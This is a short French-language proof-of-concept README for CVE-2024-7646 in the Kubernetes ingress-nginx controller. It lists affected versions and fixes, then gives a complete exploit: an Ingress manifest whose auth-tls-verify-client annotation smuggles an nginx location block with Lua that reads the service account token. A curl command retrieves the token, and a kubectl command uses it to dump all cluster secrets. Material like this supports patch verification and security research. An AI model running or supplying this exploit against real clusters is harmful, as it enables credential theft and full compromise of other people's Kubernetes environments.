dovics/cve-2024-7646PoC CVE-2024-7646
Par défaut, nginx.ingress.kubernetes.io/server-snippet est désactivé, mais en raison de cette CVE, nginx.ingress.kubernetes.io/auth-tls-verify-client peut toujours insérer des snippets personnalisés, ou même du code Lua peut être inclus.
ingress-nginx controller v1.11.2 - corrigé par kubernetes/ingress-nginx#11719 et kubernetes/ingress-nginx#11721 ingress-nginx controller v1.10.4 - corrigé par kubernetes/ingress-nginx#11718 et kubernetes/ingress-nginx#11722
Nécessite la permission de créer un ingress.
openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: cve-ingress
namespace: default
annotations:
nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
rules:
- host: test.ingress.io
http:
paths:
- pathType: Prefix
path: /test
backend:
service:
name: test-service
port:
number: 8080
EOF
Dans la configuration par défaut, cet identifiant a accès à tous les secrets du cluster.
TOKEN=$(curl 127.0.0.1:8080/token -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml